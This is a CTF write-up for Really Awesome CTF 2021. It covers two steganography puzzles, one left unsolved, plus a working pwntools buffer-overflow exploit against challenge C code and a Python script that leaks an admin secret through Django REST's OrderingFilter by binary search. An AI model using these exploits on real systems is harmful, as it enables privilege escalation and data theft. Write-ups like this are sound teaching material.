Really Awesome CTF 2021

Steganography

I'm a Shouty Man [300 pts]

Description

You have intercepted an shouty man's secret message. find the flag!

Solution

We are given a folder that contains a lot of WEBM files with one named sound and the other different characters. At first, I tried to do code to transcribe and online transcribers to be able to read the letters to get nowhere. I could take the 30 min hit of listening as opposed to trying to create the code for it at this point.

[0 - 10] Vml2YW11cyBzZWQgZWxpdCBpbnRlcmR1bSwgY29udmFsbGlzIHRlbGx1cy4gBmBzdGlidWx1bSBxdWlzIG1pIGbyYXQuIHlvdSBtYXkgYmUgd29uZGVyaW5nIHdoZXJlIHRoZSBmbEFnIGlzIHJpZ2h0IG5vdy4gd2BsbCBsZXQgbWUgdGVsbCB5b3UsIGl0J3Mgc29tZXdoZXJlLiB0aGUgZmxhZyBjb3VsZCBiZSByYWN0ZntoYWhhfSBvciBp [20 - 25] dHJpc3RpcXVlIGVzdC4gQ3JhcyBmYXVjaWJ1cyBtYXNzYSBsaWJlcm8sIHNpdCBhbWV0IHZ1bHB1dGF0ZSBvZGlvIGNvbnNlcXVhdCBjdXJzdXMgdEhlIHJFYUwgZ [25 - 27] kxBZyBpNSByYWN0ZntvTWdfaXq1X2FOX2F1ZDEwcGhpbDMhISF9I

NSByYWN0ZntvTWdfaXq1X2FOX2F1ZDEwcGhpbDMhISF9

I eventually decoded it using Base64.

[0 - 10] Vivamus sed elit interdum, convallis tellus. .stibulum quis mi fòat. you may be wondering where the flAg is right now. wll let me tell you, it's somewhere. the flag could be ractf{haha} or i [20 - 25] tristique est. Cras faucibus massa libero, sit amet vulputate odio consequat cursus tHe rEaL d [25 - 27] ..YÈ.MH..XÝ..ÛÓY×Ú^.WØS.Ø]Y.L...[.ÈHH_H5 ractf{oMg_izµ_aN_aud10phil3!!!}

I know this doesn't look good. I guess the Hard of hearing got the best of me and so I had to decode from this what the real flag was supposed to be. I took a little bit closer look and changed a few of the characters from the capital and lower case and close letters to get the flag.

Flag: ractf{oMg_it5_aN_aud10phil3!!!}

Blue

Description

We found some blue, thoughts?

Solution

Being a colorblind person, I want to always look at the histogram of the photo to see this weird situation.

From that, I write some code to find the pixels that are odd. From there I can run a few ideas as to how the location, color, and hex could help come up with the flag. I tried a lot of attempts but nothing clicked so I gave up some time.

import cv2

def oddPixels(img_file):
	img = cv2.imread(img_file, cv2.IMREAD_UNCHANGED)
	dim = img.shape
	h = dim[0]
	w = dim[1]
	match = [205,77,64]
	last = [205, 77, 64]
	fin = ""
	masBlue = bin(205)[-3:] + bin(77)[-2:] + bin(64)[-2:] + "1"
	print(int(masBlue ,2 ))
	for x in range(0, h):
		for y in range(0, w):
			curPix = img[x][y]
			if not(curPix[0] == match[0] and curPix[1] == match[1] and curPix[2] == match[2]):
				bn = bin(curPix[0])[7:]
				bn += bin(curPix[1])[7:]
				bn += bin(curPix[2])[7:]
#				print(bn)
#				hx = hex(curPix[0])[2:] + hex(curPix[1])[2:] + hex(curPix[2])[2:]
#				print(bin(curPix[0]))
#				bn = bin(curPix[0])[6:9] + bin(curPix[1])[6:8] + bin(curPix[2])[6:8]
				if (curPix[3] == 255):
					bn += "1"
				elif(curPix[3] == 254):
					bn += "0"
				print(bn, int(bn, 2))
				fin += bn
#				print(x,y,curPix,'\t', hx)
	print(fin)
	"""
	5 75 [204  79  71]       cc4f47
	8 118 [205  77  71]      cd4d47
	17 132 [204  77  71]     cc4d47
	41 60 [207  79  71]      cf4f47
	41 69 [206  77  71]      ce4d47
	42 58 [204  78  71]      cc4e47
	58 147 [207  79  67]     cf4f43
	64 38 [207  79  67]      cf4f43
	78 70 [204  76  71]      cc4c47
	84 23 [204  76  71]      cc4c47
	91 60 [205  76  71]      cd4c47
	115 46 [204  76  71]     cc4c47
	146 230 [205  77  69]    cd4d45
	158 252 [204  79  69]    cc4f45
	159 60 [206  79  71]     ce4f47
	160 19 [204  79  67]     cc4f43
	168 129 [206  76  71]    ce4c47
	176 43 [206  78  69]     ce4e45
	182 84 [205  79  69]     cd4f45
	195 101 [206  76  71]    ce4c47
	229 143 [205  77  67]    cd4d43
	235 218 [204  76  71]    cc4c47
	239 11 [204  76  69]     cc4c45
	243 232 [207  79  67]    cf4f43
	246 46 [207  78  71]     cf4e47
	"""
	""" Flip X and Y
	11 239 [204  76  69]     cc4c45
	19 160 [204  79  67]     cc4f43
	23 84 [204  76  71]      cc4c47
	38 64 [207  79  67]      cf4f43
	43 176 [206  78  69]     ce4e45
	46 115 [204  76  71]     cc4c47
	46 246 [207  78  71]     cf4e47
	58 42 [204  78  71]      cc4e47
	60 41 [207  79  71]      cf4f47
	60 91 [205  76  71]      cd4c47
	60 159 [206  79  71]     ce4f47
	69 41 [206  77  71]      ce4d47
	70 78 [204  76  71]      cc4c47
	75 5 [204  79  71]       cc4f47
	84 182 [205  79  69]     cd4f45
	101 195 [206  76  71]    ce4c47
	118 8 [205  77  71]      cd4d47
	129 168 [206  76  71]    ce4c47
	132 17 [204  77  71]     cc4d47
	143 229 [205  77  67]    cd4d43
	147 58 [207  79  67]     cf4f43
	218 235 [204  76  71]    cc4c47
	230 146 [205  77  69]    cd4d45
	232 243 [207  79  67]    cf4f43
	252 158 [204  79  69]    cc4f45
	"""
oddPixels("blue.png")

Yeah and that is left off till someone showed it could be different

R  G  B   A     |	 R      	  G            B            A     |Ascii|Binary  |Decimal

69 76 204 254   | 01000 101 | 010011 00 |  110011 00 | 1111111  0 | r   |01110010|114
67 79 204 254   | 01000 011 | 010011 11 |  110011 00 | 1111111  0 | a   |01100001|97
71 76 204 254   | 01000 111 | 010011 00 |  110011 00 | 1111111  0 | c   |01100011|99
67 79 207 255   | 01000 011 | 010011 11 |  110011 11 | 1111111  1 | t   |01110100|116
69 78 206 254   | 01000 101 | 010011 10 |  110011 10 | 1111111  0 | f   |01100110|102
71 76 204 255   | 01000 111 | 010011 00 |  110011 00 | 1111111  1 | {   |01111011|123
71 78 207 254   | 01000 111 | 010011 10 |  110011 11 | 1111111  0 |     |        |
71 78 204 254   | 01000 111 | 010011 10 |  110011 00 | 1111111  0 |     |        |
71 79 207 255   | 01000 111 | 010011 11 |  110011 11 | 1111111  1 |     |        |
71 76 205 254   | 01000 111 | 010011 00 |  110011 01 | 1111111  0 |     |        |
71 79 206 255   | 01000 111 | 010011 11 |  110011 10 | 1111111  1 |     |        |
71 77 206 255   | 01000 111 | 010011 01 |  110011 10 | 1111111  1 |     |        |
71 76 204 254   | 01000 111 | 010011 00 |  110011 00 | 1111111  0 |     |        |
71 79 204 255   | 01000 111 | 010011 11 |  110011 00 | 1111111  1 |     |        |
69 79 205 255   | 01000 101 | 010011 11 |  110011 01 | 1111111  1 |     |        |
71 76 206 254   | 01000 111 | 010011 00 |  110011 10 | 1111111  0 |     |        |
71 77 205 254   | 01000 111 | 010011 01 |  110011 01 | 1111111  0 |     |        |
71 76 206 255   | 01000 111 | 010011 00 |  110011 10 | 1111111  1 |     |        |
71 77 204 254   | 01000 111 | 010011 01 |  110011 00 | 1111111  0 |     |        |
67 77 205 254   | 01000 011 | 010011 01 |  110011 01 | 1111111  0 |     |        |
67 79 207 254   | 01000 011 | 010011 11 |  110011 11 | 1111111  0 |     |        |
71 76 204 254   | 01000 111 | 010011 00 |  110011 00 | 1111111  0 |     |        |
69 77 205 254   | 01000 101 | 010011 01 |  110011 01 | 1111111  0 |     |        |
67 79 207 255   | 01000 011 | 010011 11 |  110011 11 | 1111111  1 |     |        |
69 79 204 255   | 01000 101 | 010011 11 |  110011 00 | 1111111  1 | }   |01111101|125

But that doesn't line up and can't see any way that it could line up.

Reverse

Dodgy Database [350 pts]

Description

One of our most senior engineers wrote this database code, it's super well commented code, but it does seem like they have a bit of a god complex. See if you can help them out.

Solution

Below is the C code we are given.

#include <stdarg.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define STR_EXPAND(tok) #tok
#define STR(tok) STR_EXPAND(tok)

#define USERNAME_LEN 20
#define DATABASE "database.txt"
#define FLAG "ractf{fake_flag}"

typedef enum {
	ROLE_USER,
	ROLE_ADMIN,
	ROLE_GOD = 0xBEEFCAFE,
} Role;

typedef struct {
	char name[USERNAME_LEN];
	Role role;
} User;

typedef struct {
	User* users;
	size_t num_users;
	size_t capacity;
} Users;

/**
 * Exit, printing a failure message before killing the program.
 */
void die(const char *restrict fmt, ...) {
	va_list args;
	va_start(args, fmt);
	vfprintf(stderr, fmt, args);
	va_end(args);
	exit(EXIT_FAILURE);
}

/**
 * Create a user struct with the given name and the ROLE_USER role.
 */
User* user_create(const char* name) {
	User* user = malloc(sizeof(User));

	strcpy(user->name, name);

	return user;
}

/**
 * Allocate and initialize the Users struct.
 */
Users* users_init(const size_t capacity) {
	Users* users = calloc(1UL, sizeof(Users));

	users->users = calloc(capacity, sizeof(User));
	users->num_users = 0UL;
	users->capacity = capacity;

	return users;
}

/**
 * Double the capacity of the users array.
 */
void users_extend_capacity(Users* users) {
	users->capacity <<= 1;
	users->users = realloc(users->users, users->capacity * sizeof(User));
}

/**
 * Add a user to the users struct.
 */
void users_add_user(Users* users, const char* name, Role role) {
	User* user = &users->users[users->num_users++];
	strcpy(user->name, name);
	user->role = role;
}

/**
 * Check whether a user is registered.
 * MUST BE CALLED BY AN ADMIN
 */
bool users_check_registered(const Users *const users, const User *const admin, const char *const name) {
	if (admin->role == ROLE_ADMIN) {
		for (size_t i = 0UL; i < users->num_users; i++) {
			User* user = &users->users[i];

			if (strncmp(user->name, name, 20UL) == 0) {
				return true;
			}
		}
	} else {
		die("[users_check_registered]\tInsufficient permissions.\n");
	}

	return false;
}

/**
 * Registers a new user in the database.
 */
void users_register_user(Users* users, const User *const admin, const User *const user) {
	if (admin->role == ROLE_ADMIN)
		users_add_user(users, user->name, ROLE_USER);
	else if (admin->role == ROLE_GOD)
		puts(FLAG);
	else
		die("[users_register_user]\tInsufficient permissions to register user, exiting.\n");
}

/**
 * Reads all the users and their roles from the file.
 */
Users* read_users(const char* filename) {
	FILE* file = fopen(filename, "r");
	if (file == NULL) die("Failed to open database file: \"%s\"\n", filename);
	size_t line_len,
				 lines_read = 0UL;
	char* lineptr = NULL;

	Users* users = users_init(10UL);

	while (getline(&lineptr, &line_len, file) != -1) {
		if (lines_read++ == users->capacity) {
			users_extend_capacity(users);
		}

		char name[21] = { 0 };
		char role[6] = { 0 };
		int num_parsed = sscanf(lineptr, "%" STR(USERNAME_LEN) "s %s", name, role);

		if (num_parsed != 2) goto parse_failed;

		if      (strcmp(role, "USER")  == 0) users_add_user(users, name, ROLE_USER);
		else if (strcmp(role, "ADMIN") == 0) users_add_user(users, name, ROLE_ADMIN);
		else if (strcmp(role, "GOD")   == 0) users_add_user(users, name, ROLE_GOD);
		else
parse_failed: die("[read_users]\tFailed to parse user line: \"%s\", exiting!\n", lineptr);
	}

	free(lineptr);

	return users;
}

/**
 * Saves the users database out to a file.
 */
void save_users(const Users *const users, const char *const filename) {
	FILE* file = fopen(filename, "w");
	for (size_t i = 0UL; i < users->num_users; i++) {
		User* user = &users->users[i];

		switch (user->role) {
			case ROLE_GOD:
				fprintf(file, "%" STR(USERNAME_LEN) "s GOD\n",   user->name);
				break;
			case ROLE_ADMIN:
				fprintf(file, "%" STR(USERNAME_LEN) "s ADMIN\n", user->name);
				break;
			case ROLE_USER:
				fprintf(file, "%" STR(USERNAME_LEN) "s USER\n",  user->name);
				break;
			default:
				die("[save_user]\tInvalid user role: %d, exiting!\n", user->role);
		}
	}
}

/**
 * Sets IO to non-buffering, not part of the challenge
 */
void setup_for_challenge() {
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stdin,  NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

int main(void) {
	setup_for_challenge();

	Users* users = read_users(DATABASE);

	// get user to register
	puts("Hi, welcome to my users database.");
	printf("Please enter a user to register: ");
	char username[30] = { 0 },
			 *newline;
	fgets(username, 30, stdin);
	if ((newline = strchr(username, '\n')) != NULL)
		*newline = '\0';

	// create admin
	User* admin = user_create("admin");
	admin->role = ROLE_ADMIN;

	// check registered
	if (!users_check_registered(users, admin, username)) {
		// register the user
		free(admin);
		User* user = user_create(username);
		users_register_user(users, admin, user);
	}

	// save the new database
	save_users(users, DATABASE);

	return 0;
}

Well, I start with a buffer overflow approach. The username is a length of 20 [line 10] and to become GOD code is Beefcafe [line 17]. Put that together and you become a god who can view the flag.

from pwn import *

connect = remote('193.57.159.27', 31267)
payload = bytes('A' * 20, 'utf-8') + p32(0xBEEFCAFE)
connect.sendline(payload)
connect.interactive()

Flag: ractf{w0w_1_w0nD3r_wH4t_free(admin)_d0e5}

Web

Secret Store [300 pts]

Description

How many secrets could a secret store store if a store could store secrets?

Solution [By JoshL]

There are only two functionalities you really need to care about the /api/secret endpoint allows you to set a secret with a POST and return a list of secret ids + user ids with a get(edited)

class SecretViewSet(viewsets.ModelViewSet):
    queryset = Secret.objects.all()
    serializer_class = SecretSerializer
    permission_classes = (IsAuthenticated & IsSecretOwnerOrReadOnly,)
    filter_backends = [filters.OrderingFilter]
    ordering_fields = "__all__"

class SecretSerializer(serializers.ModelSerializer):
    class Meta:
        model = Secret
        fields = ["id", "value", "owner", "last_updated", "created"]
        read_only_fields = ["owner", "last_updated", "created"]
        extra_kwargs = {"value": {"write_only": True}}

    def create(self, validated_data):
        validated_data["owner"] = self.context["request"].user
        if Secret.objects.filter(owner=self.context["request"].user):
            return super(SecretSerializer, self).update(Secret.objects.get(owner=self.context['request'].user), validated_data)
        return super(SecretSerializer, self).create(validated_data)

are the relevant lines of codeSecretSerializer.create handles the POST request, and the GET is implemented by the viewsets.ModelViewSet mixin. Now, the vuln is filters.OrderingFilter googling that tells you it allows you to order by fields, and you can specify what you're allowed to order by allowing certain fields in ordering_fields (in this case, it allows all fields inside the Secret model that's what the __all__ means). ]So you have two functionality POST /api/secret/ Update your secret value GET /api/secret/?ordering= Returns a list of secrets (by id) and users (by id), allowed to order by any field within the Secret model(edited). The flag is a secret created by the user with id 1 (I'm assuming it's admin or something). Sooo, with ordering you could order by the secret values itself and slowly binary search for the flag if your secret is aaaa, the admin is ractf{, if you order by value, your id will show up before the admin's(edited)[11:25 PM]if your secret is zzz and the admin is ractf{ if you order by value, your id will show up after the admin's

import requests
from Crypto.Util.number import long_to_bytes
import json


cookies = {"csrftoken":"xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk", "sessionid":"jyya08irbxysteizgtvmoyjw29bgmb9m"}
headers = {"X-CSRFToken": "xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk"}
charset = ''.join([chr(i) for i in range(0x20, 0x7f)])
"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ "

def b95encode(val):
    ret = []
    base=95
    while val:
        ret.append(charset[val%base])
        val//=base
    return ''.join(ret)[::-1]




# for i in range(0x100):
#     print(b95encode(i))


l,r=0,95**50

post_url = 'http://193.57.159.27:48478/api/secret/'
get_url = 'http://193.57.159.27:48478/api/secret/?ordering=value'

while l<=r:
    m=(l+r)//2
    payload = b95encode(m)

    data = {"value": payload}
    print(payload,l,r)
    requests.post(post_url, cookies=cookies, headers=headers, data=data)
    rr = requests.get(get_url, cookies=cookies, headers=headers)
    ids = [dat['id'] for dat in json.loads(rr.text)]
    if ids.index(16) < ids.index(1):
        l=m+1
    else:
        r=m-1

print(b95encode(l))

# GET /api/secret/?ordering=value HTTP/1.1
# Host: 193.57.159.27:48478
# User-Agent: curl/7.74.0
# Accept: */*
# Cookie: csrftoken=xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk; sessionid=jyya08irbxysteizgtvmoyjw29bgmb9m
# Content-Length: 17
# Content-Type: application/json
# X-CSRFToken: xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk

# {"value":"AAA"
# }

# ractf{data_exf1l_via_s0rt1ng_0c66de47}  

# 193.57.159.27 50871

Flag: ractf{data_exf1l_via_s0rt1ng_0c66de47}

Last updated